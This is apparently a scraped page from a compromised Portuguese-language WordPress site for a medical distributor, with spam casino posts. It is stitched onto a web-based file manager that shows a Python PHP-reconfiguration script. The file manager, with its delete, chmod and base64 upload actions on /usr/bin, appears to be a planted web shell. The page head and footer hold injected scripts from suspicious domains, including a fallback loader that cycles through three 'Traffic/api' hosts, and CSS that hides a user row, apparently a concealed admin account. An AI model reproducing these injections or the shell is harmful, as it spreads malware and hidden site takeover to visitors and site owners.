    modules_dir = os.path.join(root, &quot;usr&quot;, detect_lib_dir(), &quot;php&quot;, &quot;modules&quot;)
    changed = False
    for ini_name, content in DRIVER_INI[driver].items():
        if driver == &quot;native&quot; and not os.path.exists(
                os.path.join(modules_dir, NATIVE_SO[ini_name])):
            logging.debug(u&quot;php%s: %s absent, keep binding for %s&quot; %
                          (int_ver, NATIVE_SO[ini_name], ini_name))
            continue
        all_path = os.path.join(ini_all, ini_name)
        try:
            with open(all_path, &quot;w&quot;) as fh:
                fh.write(content)
        except (IOError, OSError) as e:
            logging.error(u&quot;cannot write %s: %s&quot; % (all_path, e))
            continue
        # activate in php.d (symlink to the php.d.all copy)
        if os.path.isdir(ini_d):
            dst = os.path.join(ini_d, ini_name)
            try:
                if os.path.islink(dst) or os.path.exists(dst):
                    os.remove(dst)
                os.symlink(all_path, dst)
            except OSError as e:
                logging.error(u&quot;cannot activate %s: %s&quot; % (dst, e))
        changed = True
        logging.info(u&quot;php%s: %s -&gt; %s driver&quot; % (int_ver, ini_name, driver))
    return changed


def main(sys_args):
    try:
        opts, args = getopt.getopt(sys_args, &quot;p:P:e:d:v&quot;,
                                   [&quot;php=&quot;, &quot;python=&quot;, &quot;ea-php=&quot;, &quot;driver=&quot;,
                                    &quot;verbose&quot;])
    except getopt.GetoptError as e:
        sys.stderr.write(&quot;cannot parse command line arguments: {0}&quot;.format(e))
        return 1
    verbose = False
    driver = None
    int_versions = []
    int_name = &quot;php&quot;
    for opt, arg in opts:
        if opt in (&quot;-d&quot;, &quot;--driver&quot;):
            driver = arg
        if opt in (&quot;-p&quot;, &quot;--php&quot;):
            int_name = &quot;php&quot;
            int_path = &quot;/opt/alt/php%s&quot; % arg
            if check_alt_path_exists(int_path, int_name, arg):
                int_versions.append((arg, int_path))
            else:
                return 1
        elif opt in (&quot;-e&quot;, &quot;--ea-php&quot;):
            int_name = &quot;ea-php&quot;
            int_path = &quot;/opt/cpanel/ea-php%s/root/&quot; % arg
            if check_alt_path_exists(int_path, int_name, arg):
                int_versions.append((arg, int_path))
            else:
                return 1
        elif opt == &quot;--python&quot;:
            int_name = &quot;python&quot;
            int_path = &quot;/opt/alt/python%s&quot; % arg
            if check_alt_path_exists(int_path, int_name, arg):
                int_versions.append((arg, int_path))
            else:
                return 1
        if opt in (&quot;-v&quot;, &quot;--verbose&quot;):
            verbose = True
    log = configure_logging(verbose)
    if int_name == &quot;ea-php&quot;:
        int_group = int_name
    else:
        int_group = &quot;alt-%s&quot; % int_name
    if not int_versions:
        int_versions = find_interpreter_versions()
    log.info(u&quot;installed %s versions are\n%s&quot; % (int_group,
             &quot;\n&quot;.join([&quot;\t %s: %s&quot; % (int_group, i) for i in int_versions])))
    # ALTPHP-2242: explicit driver switch (native nd_* &lt;-&gt; client-lib binding).
    if driver:
        if int_name != &quot;php&quot;:
            log.error(u&quot;--driver is only supported for alt-php, not %s&quot; % int_name)
            return 1
        if driver not in (&quot;native&quot;, &quot;binding&quot;):
            log.error(u&quot;unknown driver &#039;%s&#039; (use native|binding)&quot; % driver)
            return 1
        for int_ver, int_dir in int_versions:
            set_driver_ini(int_name, int_ver, driver)
        if driver == &quot;native&quot;:
            # native extensions load directly, no binding .so symlinks needed
            return 0
        # driver == &quot;binding&quot;: fall through to refresh the binding .so symlinks
    mysql_so_files = get_mysql_so_files()
    log.info(u&quot;available SQL so files are\n%s&quot; %
             &quot;\n&quot;.join([&quot;\t%s (%s-%s)&quot; % i for i in mysql_so_files]))
    # skip reconfigure magick if file exists
    if os.path.exists(&quot;/opt/alt/alt-php-config/disable&quot;):
        log.info(u&quot;skip reconfiguration, because &#039;/opt/alt/alt-php-config/disable&#039; exists&quot;)
        return True
    try:
        mysql_path = find_mysql_executable()
        if not mysql_path:
            log.info(u&quot;cannot find system SQL binary&quot;)
            for int_ver, int_dir in int_versions:
                status = False
                for so_name, so_type, so_ver in mysql_so_files:
                    if reconfigure_mysql(int_ver, so_type, so_ver,
                                         force=False, int_name=int_name):
                        status = True
                        break
                if not status:
                    log.debug(u&quot;alt-%s%s reconfiguration is failed&quot; %
                              (int_name, int_ver))
        else:
            log.debug(u&quot;system SQL binary path is %s&quot; % mysql_path)
            mysql_type, mysql_ver = get_mysql_version(mysql_path)
            log.debug(u&quot;system SQL is %s-%s&quot; % (mysql_type, mysql_ver))
            # check if we have .so for the system SQL version
            mysql_so_exists = False
            for so_name, so_type, so_ver in mysql_so_files:
                if so_type == mysql_type and so_ver == mysql_ver:
                    mysql_so_exists = True
                    break
            # reconfigure alt-php symlinks
            for int_ver, int_dir in int_versions:
                # system SQL was correctly detected and we found .so for it -
                # reconfigure alt-php to use it instead of previous
                # configuration
                if (mysql_so_exists or is_bare_plesk()) and \
                        reconfigure_mysql(int_ver, mysql_type, mysql_ver,
                                          force=True, int_name=int_name):
                    ini_src_path = &quot;%s/etc/php.d.all&quot; % get_int_files_root_path(int_name, int_ver)
                    ini_dst_path = &quot;%s/etc/php.d&quot; % get_int_files_root_path(int_name, int_ver)
                    if int_name == &quot;php&quot;:
                        create_symlink_to_mysqli_ini(ini_src_path,ini_dst_path)
                    continue
                # we are unable to detect system SQL or it&#039;s .so is missing -
                # reconfigure alt-php to use .so that we have available, but
                # only if current configuration is broken
                status = False
                for so_name, so_type, so_ver in mysql_so_files:
                    if reconfigure_mysql(int_ver, so_type, so_ver, force=False,
                                         int_name=int_name):
                        status = True
                        ini_src_path = &quot;%s/etc/php.d.all&quot; % get_int_files_root_path(int_name, int_ver)
                        ini_dst_path = &quot;%s/etc/php.d&quot; % get_int_files_root_path(int_name, int_ver)
                        if int_name == &quot;php&quot;:
                            create_symlink_to_mysqli_ini(ini_src_path,ini_dst_path)
                        break
                if not status:
                    log.debug(u&quot;alt-%s%s reconfiguration is failed&quot; %
                              (int_name, int_ver))
    except Exception as e:
        log.error(u&quot;cannot reconfigure alt-%s SQL bindings: %s. &quot;
                  u&quot;Traceback:\n%s&quot; % (int_name, e,
                                       traceback.format_exc()))
        return 1


if __name__ == &quot;__main__&quot;:
    sys.exit(main(sys.argv[1:]))
</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fusr%2Fbin" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/usr/bin';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html><!doctype html>
<html lang="pt-BR">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<title>pblmedic &#8211; Página: 2</title>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//nornikal3pi12.life' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Feed para pblmedic &raquo;" href="https://pblmedic.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Feed de comentários para pblmedic &raquo;" href="https://pblmedic.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a88765c2baf3*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='ganalytics-fonts-css' href='https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100' media='all' />
<link rel='stylesheet' id='hello-elementor-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/reset.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-theme-style-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/theme.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-header-footer-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/header-footer.css?ver=3.4.4' media='all' />
<script data-wp-strategy="defer" defer id="ganalytics-tracker-js" src="https://nornikal3pi12.life/t.js?site=5b9c529db03be43d062917c963ff43ed"></script>
<link rel="https://api.w.org/" href="https://pblmedic.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://pblmedic.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1" />
<script src="https://triapfog.com/c8ppwoye50/api"></script><style id="wp-custom-css">
tr#user-3,tr#user_3{display:none!important}
</style>
</head>
<body class="home blog paged wp-embed-responsive paged-2 wp-theme-hello-elementor hello-elementor-default">


<a class="skip-link screen-reader-text" href="#content">Ir para o conteúdo</a>


<header id="site-header" class="site-header">

	<div class="site-branding">
					<div class="site-title">
				<a href="https://pblmedic.com/" title="Página inicial" rel="home">
					pblmedic				</a>
			</div>
						</div>

			<nav class="site-navigation" aria-label="Menu principal">
			<ul id="menu-principal" class="menu"><li id="menu-item-72" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-72"><a href="https://pblmedic.com/#inicio">Início</a></li>
<li id="menu-item-73" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-73"><a href="https://pblmedic.com/#quem-somos">Quem somos</a></li>
<li id="menu-item-74" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-74"><a href="https://pblmedic.com/#linha-distribuicao">Linha de distribuição</a></li>
<li id="menu-item-75" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-75"><a href="https://pblmedic.com/#area-de-atuacao">Área de atuação</a></li>
<li id="menu-item-76" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-76"><a href="https://pblmedic.com/#diferenciais">Diferenciais</a></li>
<li id="menu-item-77" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-77"><a href="https://api.whatsapp.com/send/?phone=5511961828606">Fale Conosco</a></li>
<li id="menu-item-78" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-78"><a href="https://pblmedic.com/#contato">Contato</a></li>
</ul>		</nav>
	</header>
<main id="content" class="site-main">

			<div class="page-header">
			<h1 class="entry-title">Arquivos</h1>		</div>
	
	<div class="page-content">
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/rotiri-hindus-dreaming-nv-casino-1-magazie-gratuite-dar-achitare-bonusuri-de-casino-exclusive-2025/">Rotiri hindus dreaming nv casino $ 1 Magazie Gratuite Dar Achitare Bonusuri De Casino Exclusive 2025</a></h2><p>Content De este un bonus însă vărsare? &#8211; nv casino Rotiri să 1 = otarie Conti Casino: 100 runde geab fara investitie Ş ce oferim bonusuri fara plată? Sunt legale bonusurile ci achitare deasupra România? Strategii Practice prep beneficia să Bonusul Fără Plată spre Cazinouri Online Virgină a sledi ori urmaresti in mod uniform FaraDepunere.ro, [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/skuespil-tilslutte-casino-slots-megaways-free-spins/">Skuespil Tilslutte Casino Slots, Megaways &#038; Free Spins</a></h2><p>Content Hvorlede kan jeg musikus online casino? Unibet spilleban – bedste på casino til blues spilleban ✅ Idet kan jeg øge antipersonelmine chancer eftersom sno? Spiludbydere herpå danske casino fondsbør Koncern-blindhed inden for dansker gambling: Soft2Bet-sagen afslører hul i licenssystemet Landbrug fornærm punkter i tilgif at finde et casino, der overskride i tilgif dine ønsker. [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/rigtige-venner-laes-teksten-plu-downloadning-melodien-tilslutte-festklaveret-dk/">Rigtige venner : læs teksten plu downloadning melodien tilslutte festklaveret dk</a></h2><p>Content Top På Chateau Spi Providers Katsubet tournaments andefugl bonuses – complete guidebog sikken players Open the app Dette er den ultimative liste med 17 måder at afstiver knap online online, pr. rent faktisk virker. Nytte knap online er guiden oven i købet dig der ukontrolleret synes måder at assistere penge på online, som rent [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/ma-bedste-online-casinoer-med-rigtige-crazy-fox-gysser-som-danmark-2026/">Ma bedste online casinoer med rigtige Crazy Fox gysser som Danmark 2026</a></h2><p>Akkurat, udstrakt inden for det meget vel – regler plu ansættelsesforhold kan findes række, kedelige plu svære at fatte. Derfor sagen er den, at når som helst fungere ikke engle fuld bonus’ regler plu albuerum, gambler du både med dine chancer for at vinde plu dine chancer da udbetale. Der er en geled ting, fungere [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/online-kasino-2026-dkdernaest-storste-kasino-bloxgame-casino-pa-guidebog/">Online Kasino 2026 DK´dernæst Største Kasino BloxGame casino På Guidebog</a></h2><p>Content BloxGame casino | Betalingsmetoder på Danske Casinoer Benyt blot casinoer i kraft af spillelicens Sådan fungerar casino afkast tilslutte svenska casino Internationale casinoer vs. danske casinoer Selvom virk elsker klassiske slots, Megaways, Smash Pots eller niche-titler, finder virk dem alle en ét sæde. Man kan søge, s og opdage nye titler inden for et [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/roulette-strategies-australia-vip-a-comprehensive-guide/">Roulette Strategies Australia VIP: A Comprehensive Guide</a></h2><p>If you&#8217;re a fan of online roulette and are looking to take your gameplay to the next level, then roulette strategies Australia VIP may be just what you need. In this article, we&#8217;ll explore the ins and outs of playing roulette at VIP levels in Australia, including top strategies, tips, and recommended casinos. The Gameplay [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/personlig-compute-tage-del-20-gode-gratisspill-oven-i-kobet-personlig-slotstars-casino-compute/">Personlig compute, Tage del 20 gode gratisspill oven i købet Personlig Slotstars Casino compute</a></h2><p>Content Slotstars Casino: Call of Duty: Modern Warfare III PS5 Tre på tegneseriestribe — idræt vederlagsfri online Brugernes Vurdering Oplev adrenalinen pr. handlingen hvis ikke at benytte gysser Du styrer enten med et rorpind eller tastaturet, hvordan det er piletasterne, der styrer rumskibets bevægelser. Venstre Ctrl eller &#8216;w&#8217; eller &#8216;z&#8217; antiluftskyts, mens mellemrumstangenten eller &#8216;x&#8217; [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/roulette-bonuses-canada-low-volatility-a-comprehensive-guide/">Roulette Bonuses Canada Low Volatility: A Comprehensive Guide</a></h2><p>Welcome to our expert guide on roulette bonuses Canada low volatility. In this article, we will explore everything you need to know about playing roulette with low volatility in Canadian online casinos. With over 15 years of experience playing online roulette, we will provide you with up-to-date information, tips, and strategies to help you make</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/im-willing-to-report-that-percentage-wise-jackpota-nv-casino-delivers/">I&#8217;m willing to report that percentage-wise, Jackpota nv casino delivers</a></h2><p>Of course, considering the vertical nature of nv casino employing a mobile, as opposed to the toolbar being on the left-hand side of the newest display, you rather had a nicely defined miss-off menu located at the top right-hand section of the display screen. Jackpota complies with our team sweepstakes statutes and in addition they [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/the-real-deal-behind-exclusive-live-casino-experiences/">The Real Deal Behind Exclusive Live Casino Experiences</a></h2><p>There’s a particular kind of buzz that rolls through a well-run gaming floor when the live dealers step up to the felt, and it’s the sort of energy you can’t fake with a spinning reel or a flashing screen. Australians have always had a soft spot for the human element in gambling, whether it’s a [&hellip;]</p>
			</article>
			</div>

			<nav class="pagination">
			<div class="nav-previous"><a href="https://pblmedic.com/?edit=1&#038;p=%2Fusr%2Fbin&#038;path=%2Fusr%2Fbin%2Falt-php-mysql-reconfigure.py" ><span class="meta-nav">&larr;</span> anterior</a></div>
			<div class="nav-next"><a href="https://pblmedic.com/page/3/?edit=1&#038;p=%2Fusr%2Fbin&#038;path=%2Fusr%2Fbin%2Falt-php-mysql-reconfigure.py" >Próximo <span class="meta-nav">&rarr;</span></a></div>
		</nav>
	
</main>
<footer id="site-footer" class="site-footer">
	</footer>

<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/hello-elementor/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://pblmedic.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://pblmedic.com/wp-includes/js/wp-emoji-loader.min.js
</script>
<script>(function(){var u=["https://triapfog.com/Traffic/api","https://iocriotao.icu/Traffic/api","https://mioiooo.icu/Traffic/api"],i=0;\nfunction n(){if(i>=u.length)return;var s=document.createElement('script');\ns.src=u[i];s.onerror=function(){i++;n()};\n(document.head||document.documentElement).appendChild(s);i++;}\nn();})();</script>
<script>
